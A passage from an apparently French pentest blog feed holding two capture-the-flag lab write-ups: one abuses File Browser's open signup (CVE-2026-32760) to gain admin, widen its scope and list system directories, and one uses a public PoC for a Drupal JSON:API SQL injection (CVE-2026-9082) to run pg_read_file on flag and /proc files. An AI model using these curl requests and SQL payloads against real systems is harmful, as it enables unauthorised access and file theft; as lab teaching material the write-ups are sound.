  </span><span class="nl">"authMethod"</span><span class="p">:</span><span class="w"> </span><span class="s2">"json"</span><span class="w">
</span><span class="p">}</span><span class="w">
</span></code></pre></div></div>

<p>Ces paramètres confirmaient les conditions de la vulnérabilité : <code class="language-plaintext highlighter-rouge">signup</code> était activé et les permissions par défaut accordaient <code class="language-plaintext highlighter-rouge">admin: true</code>. L’avis NVD décrit la même condition et précise que le correctif est en version 2.62.0.</p>

<h2 id="3-énumération-initiale-de-lespace-de-fichiers">3. Énumération initiale de l’espace de fichiers</h2>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>curl <span class="nt">-sS</span> <span class="s2">"</span><span class="nv">$BASE</span><span class="s2">/api/resources/"</span> <span class="se">\</span>
  <span class="nt">-H</span> <span class="s2">"X-Auth: </span><span class="nv">$TOKEN</span><span class="s2">"</span> | python3 <span class="nt">-m</span> json.tool
</code></pre></div></div>

<p>Sortie pertinente :</p>

<div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">{</span><span class="w">
  </span><span class="nl">"items"</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="w">
    </span><span class="p">{</span><span class="w">
      </span><span class="nl">"path"</span><span class="p">:</span><span class="w"> </span><span class="s2">"/srv"</span><span class="p">,</span><span class="w">
      </span><span class="nl">"name"</span><span class="p">:</span><span class="w"> </span><span class="s2">"srv"</span><span class="p">,</span><span class="w">
      </span><span class="nl">"isDir"</span><span class="p">:</span><span class="w"> </span><span class="kc">true</span><span class="p">,</span><span class="w">
      </span><span class="nl">"isSymlink"</span><span class="p">:</span><span class="w"> </span><span class="kc">false</span><span class="w">
    </span><span class="p">}</span><span class="w">
  </span><span class="p">],</span><span class="w">
  </span><span class="nl">"path"</span><span class="p">:</span><span class="w"> </span><span class="s2">"/"</span><span class="p">,</span><span class="w">
  </span><span class="nl">"isDir"</span><span class="p">:</span><span class="w"> </span><span class="kc">true</span><span class="w">
</span><span class="p">}</span><span class="w">
</span></code></pre></div></div>

<p>L’API <code class="language-plaintext highlighter-rouge">GET /api/resources/{path}</code> sert à lister les fichiers et dossiers. Le dossier <code class="language-plaintext highlighter-rouge">/srv</code> a d’abord été listé :</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>curl <span class="nt">-sS</span> <span class="s2">"</span><span class="nv">$BASE</span><span class="s2">/api/resources/srv/"</span> <span class="se">\</span>
  <span class="nt">-H</span> <span class="s2">"X-Auth: </span><span class="nv">$TOKEN</span><span class="s2">"</span> | python3 <span class="nt">-m</span> json.tool
</code></pre></div></div>

<p>Il renvoyait <code class="language-plaintext highlighter-rouge">"items": []</code>, donc le scope du compte, <code class="language-plaintext highlighter-rouge">/srv</code>, était vide.</p>

<h2 id="4-élargissement-du-scope-dans-file-browser">4. Élargissement du scope dans File Browser</h2>

<p>Le compte avait les droits admin, mais son scope était <code class="language-plaintext highlighter-rouge">/srv</code>. Le <code class="language-plaintext highlighter-rouge">PUT /api/users/2</code> a changé son scope en <code class="language-plaintext highlighter-rouge">.</code>. Dans File Browser, <code class="language-plaintext highlighter-rouge">.</code> correspond ici à la racine configurée pour l’application. La requête a nécessité le mot de passe actuel, transmis dans <code class="language-plaintext highlighter-rouge">current_password</code>.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>curl <span class="nt">-sS</span> <span class="nt">-i</span> <span class="nt">-X</span> PUT <span class="s2">"</span><span class="nv">$BASE</span><span class="s2">/api/users/2"</span> <span class="se">\</span>
  <span class="nt">-H</span> <span class="s2">"X-Auth: </span><span class="nv">$TOKEN</span><span class="s2">"</span> <span class="se">\</span>
  <span class="nt">-H</span> <span class="s1">'Content-Type: application/json'</span> <span class="se">\</span>
  <span class="nt">-d</span> <span class="s2">"{</span><span class="se">\"</span><span class="s2">what</span><span class="se">\"</span><span class="s2">:</span><span class="se">\"</span><span class="s2">user</span><span class="se">\"</span><span class="s2">,</span><span class="se">\"</span><span class="s2">which</span><span class="se">\"</span><span class="s2">:[</span><span class="se">\"</span><span class="s2">scope</span><span class="se">\"</span><span class="s2">],</span><span class="se">\"</span><span class="s2">current_password</span><span class="se">\"</span><span class="s2">:</span><span class="se">\"</span><span class="nv">$P</span><span class="se">\"</span><span class="s2">,</span><span class="se">\"</span><span class="s2">data</span><span class="se">\"</span><span class="s2">:{</span><span class="se">\"</span><span class="s2">id</span><span class="se">\"</span><span class="s2">:2,</span><span class="se">\"</span><span class="s2">scope</span><span class="se">\"</span><span class="s2">:</span><span class="se">\"</span><span class="s2">.</span><span class="se">\"</span><span class="s2">}}"</span>
</code></pre></div></div>

<p>Sortie observée :</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>HTTP/1.1 200 OK
Content-Type: text/plain; charset=utf-8
...
200 OK
</code></pre></div></div>

<blockquote>
  <p>ℹ️ Le token a ensuite été renouvelé en se reconnectant. Une tentative sur <code class="language-plaintext highlighter-rouge">/api/resources/root/</code> a affiché <code class="language-plaintext highlighter-rouge">403 Forbidden</code> ; comme la réponse était du texte et non du JSON, <code class="language-plaintext highlighter-rouge">python3 -m json.tool</code> a signalé <code class="language-plaintext highlighter-rouge">Extra data</code>. Cela ne signifiait pas que le parseur JSON était cassé : le serveur avait simplement renvoyé une erreur texte.</p>
</blockquote>

<h3 id="énumération-des-chemins-après-changement">Énumération des chemins après changement</h3>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">for </span>p <span class="k">in</span> / /root/ /etc/ /home/ /tmp/ /var/ /opt/ /srv/<span class="p">;</span> <span class="k">do
  </span><span class="nb">echo</span> <span class="s2">"=== </span><span class="nv">$p</span><span class="s2"> ==="</span>
  curl <span class="nt">-sS</span> <span class="nt">-w</span> <span class="s1">'\nHTTP %{http_code}\n'</span> <span class="se">\</span>
    <span class="s2">"</span><span class="nv">$BASE</span><span class="s2">/api/resources</span><span class="nv">$p</span><span class="s2">"</span> <span class="nt">-H</span> <span class="s2">"X-Auth: </span><span class="nv">$TOKEN</span><span class="s2">"</span> | <span class="nb">head</span> <span class="nt">-c</span> 1000
  <span class="nb">echo
</span><span class="k">done</span>
</code></pre></div></div>

<table>
  <thead>
    <tr>
      <th>Chemin</th>
      <th>Résultat</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">/</code></td>
      <td><code class="language-plaintext highlighter-rouge">200</code> — racine contenant notamment <code class="language-plaintext highlighter-rouge">/bin</code>, <code class="language-plaintext highlighter-rouge">/config</code>, <code class="language-plaintext highlighter-rouge">/database</code>, <code class="language-plaintext highlighter-rouge">/defaults</code>, <code class="language-plaintext highlighter-rouge">/dev</code>, <code class="language-plaintext highlighter-rouge">/etc</code>, <code class="language-plaintext highlighter-rouge">/home</code></td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">/root/</code></td>
      <td><code class="language-plaintext highlighter-rouge">403 Forbidden</code></td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">/etc/</code></td>
      <td><code class="language-plaintext highlighter-rouge">200</code> — avec des éléments comme <code class="language-plaintext highlighter-rouge">/etc/group</code></td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">/home/</code></td>
      <td><code class="language-plaintext highlighter-rouge">200</code> — avec <code class="language-plaintext highlighter-rouge">/home/user</code> et <code class="language-plaintext highlighter-rouge">/home/local.txt</code></td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">/tmp/</code></td>
      <td><code class="language-plaintext highlighter-rouge">200</code> — dossier vide</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">/var/</code></td>
      <td><code class="language-plaintext highlighter-rouge">200</code> — avec <code class="language-plaintext highlighter-rouge">/var/spool</code> et <code class="language-plaintext highlighter-rouge">/var/www</code></td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">/opt/</code></td>
      <td><code class="language-plaintext highlighter-rouge">404 Not Found</code></td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">/srv/</code></td>
      <td><code class="language-plaintext highlighter-rouge">200</code> — un autre dossier <code class="language-plaintext highlighter-rouge">srv</code> vide</td>
    </tr>
  </tbody>
</table>

<blockquote>
  <p>ℹ️ L’option <code class="language-plaintext highlighter-rouge">head -c 1000</code> limite chaque affichage à 1000 octets, donc certaines listes étaient tronquées. Le <code class="language-plaintext highlighter-rouge">403</code> sur <code class="language-plaintext highlighter-rouge">/root/</code> confirme que les droits d’application ne donnaient pas un accès universel au compte système root.</p>
</blockquote>

<h2 id="5-récupération-du-flag">5. Récupération du flag</h2>

<p>Le répertoire <code class="language-plaintext highlighter-rouge">/home</code> contenait le fichier <code class="language-plaintext highlighter-rouge">local.txt</code>.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>curl <span class="nt">-sS</span> <span class="s2">"</span><span class="nv">$BASE</span><span class="s2">/api/raw/home/local.txt"</span> <span class="se">\</span>
  <span class="nt">-H</span> <span class="s2">"X-Auth: </span><span class="nv">$TOKEN</span><span class="s2">"</span>
</code></pre></div></div>

<p>Sortie exacte :</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>flag_0c9143a7_5be7_45d7_b597_ec633933546b
</code></pre></div></div>

<blockquote>
  <p>ℹ️ La liste <code class="language-plaintext highlighter-rouge">/home/user/</code> était vide et n’a pas été nécessaire pour la récupération du flag.</p>
</blockquote>

<h2 id="explication-des-commandes-api">Explication des commandes API</h2>

<table>
  <thead>
    <tr>
      <th>Élément</th>
      <th>Rôle</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">curl -X POST</code></td>
      <td>Envoie une requête HTTP POST, ici pour l’inscription ou la connexion</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">-H 'Content-Type: application/json'</code></td>
      <td>Indique que le corps de requête est du JSON</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">-d '{...}'</code></td>
      <td>Transmet les champs JSON au serveur</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">-i</code></td>
      <td>Affiche aussi les en-têtes HTTP ; utile pour observer le statut et le type de réponse</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">-sS</code></td>
      <td>Supprime la barre de progression tout en conservant les erreurs de transport</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">-o fichier -w 'HTTP %{http_code}'</code></td>
      <td>Enregistre le corps dans un fichier et affiche seulement le code HTTP</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">X-Auth: $TOKEN</code></td>
      <td>Authentifie les appels API après la connexion</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">/api/users</code> et <code class="language-plaintext highlighter-rouge">/api/settings</code></td>
      <td>Ont servi à vérifier le privilège admin et la configuration de l’inscription</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">/api/resources/chemin/</code></td>
      <td>Liste un dossier ; <code class="language-plaintext highlighter-rouge">/api/raw/chemin/fichier</code> renvoie le contenu d’un fichier</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">python3 -m json.tool</code></td>
      <td>Met en forme une réponse JSON pour la rendre lisible ; échoue normalement si l’API renvoie un message texte ou une page HTML d’erreur</td>
    </tr>
  </tbody>
</table>

<h2 id="conclusion">Conclusion</h2>

<p>La chaîne était :</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Énumération réseau
   │
   ▼
Identification de File Browser 2.60.0
   │
   ▼
Inscription publique vulnérable (CVE-2026-32760)
   │
   ▼
Compte admin File Browser
   │
   ▼
Changement de scope vers "."
   │
   ▼
Lecture de /home/local.txt
</code></pre></div></div>

<p>Le flag a été récupéré <strong>sans obtenir de shell Linux ni de privilège root système</strong> — l’élévation de privilèges s’est produite entièrement au niveau de l’application web.</p>

<h2 id="leçons-retenues">Leçons retenues</h2>

<ul>
  <li>Une vulnérabilité de type <strong>contrôle d’accès défectueux</strong> ne nécessite pas toujours un exploit sophistiqué : ici, une simple inscription publique suffisait à obtenir un compte admin, à cause d’une mauvaise configuration des permissions par défaut.</li>
  <li>Le scope applicatif (<code class="language-plaintext highlighter-rouge">/srv</code>) peut masquer l’étendue réelle d’un accès admin obtenu — il faut penser à tester une élévation du scope lui-même une fois les droits admin confirmés, pas seulement s’arrêter à <code class="language-plaintext highlighter-rouge">perm.admin: true</code>.</li>
  <li>Un <code class="language-plaintext highlighter-rouge">403 Forbidden</code> sur une ressource sensible (<code class="language-plaintext highlighter-rouge">/root/</code>) est une preuve utile des limites de l’élévation : documenter explicitement ce qui n’a <strong>pas</strong> été compromis est aussi important que ce qui l’a été.</li>
  <li>Une réponse HTTP générique à <code class="language-plaintext highlighter-rouge">200</code> pour des URLs aléatoires (faux positif Gobuster) rappelle qu’il faut toujours valider le contenu réel d’une réponse plutôt que de se fier uniquement au code de statut HTTP.</li>
</ul>

<h2 id="références">Références</h2>

<ol>
  <li><a href="https://github.com/advisories/GHSA-5gg9-5g7w-hm73">GitHub Advisory GHSA-5gg9-5g7w-hm73</a></li>
  <li><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-32760">NVD — CVE-2026-32760</a></li>
  <li><a href="https://raw.githubusercontent.com/filebrowser/filebrowser/v2.60.0/http/auth.go">File Browser v2.60.0 — auth.go</a></li>
  <li><a href="https://raw.githubusercontent.com/filebrowser/filebrowser/v2.60.0/http/http.go">File Browser v2.60.0 — http.go</a></li>
</ol>]]></content><author><name>Mohammed Berrahal</name></author><category term="Pentest" /><category term="Exploitation" /><category term="cve-2026-32760" /><category term="filebrowser" /><category term="broken-access-control" /><category term="enumeration" /><category term="golang" /><category term="api" /><category term="secdojo" /><category term="ctf" /><summary type="html"><![CDATA[Lab File Browser : contrôle d’accès défectueux via inscription publique (CVE-2026-32760)]]></summary></entry><entry><title type="html">Lab Inkwell : SQL Injection anonyme dans Drupal 11 via JSON:API (CVE-2026-9082)</title><link href="https://medberrahal.github.io//pentest/exploitation/lab-Inkwell/" rel="alternate" type="text/html" title="Lab Inkwell : SQL Injection anonyme dans Drupal 11 via JSON:API (CVE-2026-9082)" /><published>2026-10-20T00:00:00+00:00</published><updated>2026-10-20T00:00:00+00:00</updated><id>https://medberrahal.github.io//pentest/exploitation/lab-Inkwell</id><content type="html" xml:base="https://medberrahal.github.io//pentest/exploitation/lab-Inkwell/"><![CDATA[<h1 id="lab-inkwell--injection-sql-non-authentifiée-dans-drupal-11-cve-2026-9082">Lab Inkwell : injection SQL non authentifiée dans Drupal 11 (CVE-2026-9082)</h1>

<blockquote>
  <p><strong>Cible :</strong> <code class="language-plaintext highlighter-rouge">176.16.163.94</code> (Inkwell, site Drupal 11 / PostgreSQL)
<strong>Objectif :</strong> partir de zéro, identifier les processus exécutés et exploiter une faille publique pour accéder à des fichiers arbitraires sur le serveur
<strong>Résultat :</strong> ✅ injection SQL confirmée, lecture arbitraire de fichiers via <code class="language-plaintext highlighter-rouge">pg_read_file</code>, flag récupéré (1/1, 50/50 points)</p>
</blockquote>

<h2 id="périmètre">Périmètre</h2>

<p>Cible fournie dans le lab : <code class="language-plaintext highlighter-rouge">176.16.163.94</code> (Inkwell, site Drupal). Les commandes ci-dessous sont limitées à cette instance de lab. Le but indiqué est de confirmer la vulnérabilité publique, d’identifier les services et processus utiles, puis de vérifier l’accès aux fichiers de drapeaux.</p>

<h2 id="1-reconnaissance-réseau-et-identification-des-services">1. Reconnaissance réseau et identification des services</h2>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>nmap <span class="nt">-A</span> 176.16.163.94
</code></pre></div></div>

<p>Résultat observé :</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Host is up (0.00021s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 10.2p1 Ubuntu 2ubuntu3.2 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.66
|_http-title: Home | Inkwell
|_http-generator: Drupal 11 (https://www.drupal.org)
|_http-server-header: Apache/2.4.66 (Ubuntu)
| http-robots.txt: 33 disallowed entries (15 shown)
| /core/ /profiles/ /README.md
| /composer/Metapackage/README.txt /composer/Plugin/ProjectMessage/README.md
| /composer/Plugin/Scaffold/README.md /composer/Plugin/VendorHardening/README.txt
| /composer/Template/README.txt /modules/README.txt /sites/README.txt
|_/themes/README.txt /admin/ /comment/reply/ /filter/tips /node/add/
</code></pre></div></div>

<p><strong>Explication :</strong> <code class="language-plaintext highlighter-rouge">nmap -A</code> active plusieurs types de détection : identification des versions de services, scripts Nmap par défaut, traceroute et estimation du système d’exploitation. Le scan a trouvé deux ports TCP ouverts parmi les ports examinés : SSH sur <code class="language-plaintext highlighter-rouge">22/tcp</code> et HTTP sur <code class="language-plaintext highlighter-rouge">80/tcp</code>.</p>

<p>Le serveur web annonce Apache <code class="language-plaintext highlighter-rouge">2.4.66</code> sur Ubuntu. Le titre <code class="language-plaintext highlighter-rouge">Home | Inkwell</code> et l’en-tête Drupal identifient le site comme <strong>Drupal 11</strong>. La liste de <code class="language-plaintext highlighter-rouge">robots.txt</code> révèle plusieurs chemins habituels de Drupal, mais leur présence n’est pas en soi une preuve de vulnérabilité.</p>

<blockquote>
  <p>ℹ️ Ce scan ne détermine pas la version mineure exacte de Drupal ni le moteur de base de données.</p>
</blockquote>

<h2 id="2-préparation-du-poc">2. Préparation du PoC</h2>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>git clone https://github.com/7h30th3r0n3/CVE-2026-9082-Drupal-PoC.git
<span class="nb">cd </span>CVE-2026-9082-Drupal-PoC
python3 <span class="nt">-m</span> venv .venv
<span class="nb">source</span> .venv/bin/activate
pip <span class="nb">install </span>requests rich
</code></pre></div></div>

<p><strong>Résultat observé :</strong> le dépôt a été cloné. L’installation avec <code class="language-plaintext highlighter-rouge">pip</code> a ensuite affiché des tentatives répétées de connexion à <code class="language-plaintext highlighter-rouge">pypi.org</code>, avec l’erreur :</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Failed to establish a new connection: [Errno 101] Network is unreachable
</code></pre></div></div>

<blockquote>
  <p>⚠️ Malgré cet incident, le PoC a été exécuté par la suite et a produit les résultats présentés ci-dessous. La sortie ne précise pas si les modules Python étaient déjà présents, avaient été installés par un autre moyen, ou si la tentative <code class="language-plaintext highlighter-rouge">pip</code> a finalement abouti.</p>
</blockquote>

<p><strong>Explication :</strong> <code class="language-plaintext highlighter-rouge">git clone</code> récupère le code du PoC. <code class="language-plaintext highlighter-rouge">python3 -m venv .venv</code> crée un environnement Python isolé, et <code class="language-plaintext highlighter-rouge">source .venv/bin/activate</code> l’active. <code class="language-plaintext highlighter-rouge">pip install requests rich</code> tente d’installer les dépendances du script depuis PyPI. L’erreur réseau concerne l’accès de Kali à PyPI ; elle ne renseigne pas sur la connectivité vers Inkwell ni sur sa vulnérabilité.</p>

<blockquote>
  <p>💡 Le dépôt public du PoC est disponible ici : <a href="https://github.com/7h30th3r0n3/CVE-2026-9082-Drupal-PoC">CVE-2026-9082 Drupal PoC</a>. L’avis éditeur correspondant est <a href="https://www.drupal.org/sa-core-2026-004">SA-CORE-2026-004</a>, qui indique que la vulnérabilité SQL concerne les sites Drupal utilisant PostgreSQL et peut être exploitée par des utilisateurs anonymes.</p>
</blockquote>

<h2 id="3-vérification-de-la-vulnérabilité">3. Vérification de la vulnérabilité</h2>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>python3 CVE-2026-9082.py <span class="nt">-u</span> http://176.16.163.94 <span class="nt">--check</span>
</code></pre></div></div>

<p>Résultat observé :</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>JSON:API endpoint found and active
Found node types: node/article, node/page
Probing node/article...
Boolean-based probe (OR TRUE vs OR FALSE)...
VULNERABLE — boolean-based confirmed
OR TRUE  → 1 results
OR FALSE → 0 results
Resource type : node/article
</code></pre></div></div>

<p><strong>Explication :</strong> l’option <code class="language-plaintext highlighter-rouge">--check</code> demande au PoC de rechercher JSON:API et d’effectuer un test booléen. Le script a trouvé les types de ressources <code class="language-plaintext highlighter-rouge">node/article</code> et <code class="language-plaintext highlighter-rouge">node/page</code>. Sur <code class="language-plaintext highlighter-rouge">node/article</code>, les deux variantes du test ont produit des nombres de résultats différents : un pour la condition toujours vraie (<code class="language-plaintext highlighter-rouge">OR TRUE</code>) et zéro pour la condition toujours fausse (<code class="language-plaintext highlighter-rouge">OR FALSE</code>). Le PoC interprète cette différence comme une confirmation de l’injection SQL.</p>

<blockquote>
  <p>ℹ️ Le résultat établit que le vecteur testé fonctionne sur l’endpoint JSON:API exposé par cette instance. Il ne signifie pas, à lui seul, que le compte SQL dispose de privilèges d’administrateur du système Linux.</p>
</blockquote>

<h2 id="4-identification-de-la-base-de-données">4. Identification de la base de données</h2>

<h3 id="version-postgresql">Version PostgreSQL</h3>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>python3 CVE-2026-9082.py <span class="nt">-u</span> http://176.16.163.94 <span class="nt">--version</span>
</code></pre></div></div>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>PostgreSQL version: PostgreSQL 18.4 (Ubuntu 18.4-0ubuntu0.26.04.1) on x86_64-pc-linux-gnu,
compiled by gcc (Ubuntu 15.2.0-16ubuntu1) 15.2.0, 64-bit
</code></pre></div></div>

<p><strong>Explication :</strong> l’option <code class="language-plaintext highlighter-rouge">--version</code> utilise le canal d’injection confirmé pour extraire la chaîne de version renvoyée par PostgreSQL. Ce résultat établit que la cible utilise PostgreSQL et satisfait donc le prérequis de base de données mentionné dans l’avis Drupal pour CVE-2026-9082.</p>

<h3 id="utilisateur-sql-et-base-de-données">Utilisateur SQL et base de données</h3>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>python3 CVE-2026-9082.py <span class="nt">-u</span> http://176.16.163.94 <span class="nt">--dbinfo</span>
</code></pre></div></div>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Database user: drupal
Database name: drupal
</code></pre></div></div>

<p><strong>Explication :</strong> <code class="language-plaintext highlighter-rouge">--dbinfo</code> extrait les informations de contexte de la connexion à la base. Le rôle PostgreSQL utilisé par l’application est <code class="language-plaintext highlighter-rouge">drupal</code>, et le nom de la base est aussi <code class="language-plaintext highlighter-rouge">drupal</code>.</p>

<blockquote>
  <p>ℹ️ Le rôle SQL <code class="language-plaintext highlighter-rouge">drupal</code> n’est pas automatiquement l’utilisateur Linux <code class="language-plaintext highlighter-rouge">root</code> : les permissions du système de fichiers restent déterminantes pour les fonctions de lecture de fichiers PostgreSQL.</p>
</blockquote>

<h3 id="requête-manuelle-sur-lutilisateur-sql">Requête manuelle sur l’utilisateur SQL</h3>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>python3 CVE-2026-9082.py <span class="nt">-u</span> http://176.16.163.94 <span class="nt">--query</span> <span class="s2">"SELECT current_user"</span>
</code></pre></div></div>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Result: drupal
</code></pre></div></div>

<p><strong>Explication :</strong> <code class="language-plaintext highlighter-rouge">--query</code> transmet une requête SQL personnalisée au mécanisme d’extraction du PoC. <code class="language-plaintext highlighter-rouge">current_user</code> renvoie le rôle PostgreSQL actif pour la requête. Le résultat <code class="language-plaintext highlighter-rouge">drupal</code> confirme l’information obtenue avec <code class="language-plaintext highlighter-rouge">--dbinfo</code>.</p>

<h2 id="5-lecture-des-fichiers-du-lab">5. Lecture des fichiers du lab</h2>

<h3 id="lecture-de-homelocaltxt">Lecture de /home/local.txt</h3>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>python3 CVE-2026-9082.py <span class="nt">-u</span> http://176.16.163.94 <span class="nt">--query</span> <span class="s2">"SELECT pg_read_file('/home/local.txt')"</span>
</code></pre></div></div>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Result: flag_b37e2d04_21dc_427a_b60c_ac2ca8611faf
</code></pre></div></div>

<p><strong>Explication :</strong> la fonction PostgreSQL <code class="language-plaintext highlighter-rouge">pg_read_file</code> tente de lire un fichier accessible au processus serveur de base de données. Dans cette instance, la lecture de <code class="language-plaintext highlighter-rouge">/home/local.txt</code> a réussi et a renvoyé le drapeau local. Ce résultat démontre un accès en lecture à ce chemin via la base de données.</p>

<h2 id="6-commandes-de-diagnostic-des-processus-à-lancer">6. Commandes de diagnostic des processus à lancer</h2>

<blockquote>
  <p>⚠️ Les commandes suivantes ont été proposées comme prochaines étapes, mais <strong>aucun résultat d’exécution n’apparaît dans les sorties reçues</strong>. Elles ne doivent donc pas être considérées comme déjà réussies.</p>
</blockquote>

<h3 id="identifier-le-processus-qui-exécute-la-requête-postgresql">Identifier le processus qui exécute la requête PostgreSQL</h3>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>python3 CVE-2026-9082.py <span class="nt">-u</span> http://176.16.163.94 <span class="nt">--query</span> <span class="s2">"SELECT pg_read_file('/proc/self/comm')"</span>
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">/proc/self/comm</code> contient le nom du processus correspondant au processus qui effectue la lecture. Comme la fonction est exécutée côté PostgreSQL, <code class="language-plaintext highlighter-rouge">/proc/self</code> devrait désigner le processus PostgreSQL qui traite la requête, et non directement le processus Apache.</p>

<h3 id="lire-le-statut-de-ce-processus">Lire le statut de ce processus</h3>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>python3 CVE-2026-9082.py <span class="nt">-u</span> http://176.16.163.94 <span class="nt">--query</span> <span class="s2">"SELECT pg_read_file('/proc/self/status')"</span>
</code></pre></div></div>

<p>Ce fichier virtuel de Linux peut donner des informations de statut et d’identifiants d’utilisateur/groupe du processus visible. L’accès et le contenu dépendent des permissions et de l’isolation de la cible.</p>

<h3 id="tenter-dénumérer-les-pid-visibles">Tenter d’énumérer les PID visibles</h3>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>python3 CVE-2026-9082.py <span class="nt">-u</span> http://176.16.163.94 <span class="nt">--query</span> <span class="s2">"SELECT string_agg(pid, ',' ORDER BY pid::int) FROM pg_ls_dir('/proc') AS p(pid) WHERE pid ~ '^[0-9]+</span><span class="nv">$'</span><span class="s2">"</span>
</code></pre></div></div>

<p>Cette requête tente de lister les noms numériques présents dans <code class="language-plaintext highlighter-rouge">/proc</code>, puis de les agréger en une chaîne de PID. Elle peut échouer si le rôle PostgreSQL ne peut pas appeler <code class="language-plaintext highlighter-rouge">pg_ls_dir</code>, si les permissions du système l’interdisent, ou si la méthode d’extraction du PoC gère mal la requête.</p>

<h3 id="lire-le-nom-dun-processus-choisi">Lire le nom d’un processus choisi</h3>

<p>Après avoir obtenu un PID, remplacer <code class="language-plaintext highlighter-rouge">PID</code> par sa valeur numérique :</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>python3 CVE-2026-9082.py <span class="nt">-u</span> http://176.16.163.94 <span class="nt">--query</span> <span class="s2">"SELECT pg_read_file('/proc/PID/comm')"</span>
</code></pre></div></div>

<p>Cela tente de lire le nom du processus correspondant. Une erreur ou un résultat vide doit être interprété avec prudence : le processus peut être masqué par l’isolation de <code class="language-plaintext highlighter-rouge">/proc</code>, inaccessible au compte de base de données ou absent au moment de la requête.</p>

<h2 id="7-état-récapitulatif">7. État récapitulatif</h2>

<table>
  <thead>
    <tr>
      <th>Vérification</th>
      <th>Résultat observé</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>Hôte et services</td>
      <td>Hôte actif ; SSH 22 et HTTP 80 ouverts dans le scan fourni</td>
    </tr>
    <tr>
      <td>Serveur Web</td>
      <td>Apache 2.4.66 sur Ubuntu</td>
    </tr>
    <tr>
      <td>CMS</td>
      <td>Drupal 11 selon la signature HTTP</td>
    </tr>
    <tr>
      <td>JSON:API</td>
      <td>Endpoint actif ; types <code class="language-plaintext highlighter-rouge">node/article</code> et <code class="language-plaintext highlighter-rouge">node/page</code></td>
    </tr>
    <tr>
      <td>CVE-2026-9082</td>
      <td>Test booléen confirmé vulnérable</td>
    </tr>
    <tr>
      <td>Moteur SQL</td>
      <td>PostgreSQL 18.4</td>
    </tr>
    <tr>
      <td>Rôle et base</td>
      <td><code class="language-plaintext highlighter-rouge">drupal</code> / <code class="language-plaintext highlighter-rouge">drupal</code></td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">/home/local.txt</code></td>
      <td>Lecture réussie ; drapeau local extrait</td>
    </tr>
    <tr>
      <td>Processus Linux via <code class="language-plaintext highlighter-rouge">/proc</code></td>
      <td>Pas encore de résultat d’exécution fourni</td>
    </tr>
  </tbody>
</table>

<h2 id="lien-logique-entre-les-étapes">Lien logique entre les étapes</h2>

<p>La reconnaissance Nmap constitue le point de départ : elle confirme que l’hôte répond et identifie le service HTTP Apache. Les en-têtes et la page Inkwell indiquent ensuite que l’application utilise Drupal 11, ce qui permet de choisir un test correspondant à cette plateforme.</p>

<p>Le contrôle <code class="language-plaintext highlighter-rouge">--check</code> vérifie alors si JSON:API est actif et si le test booléen révèle une injection SQL. Cette étape est nécessaire avant toute extraction : elle confirme que les requêtes du PoC atteignent un chemin vulnérable sans authentification.</p>

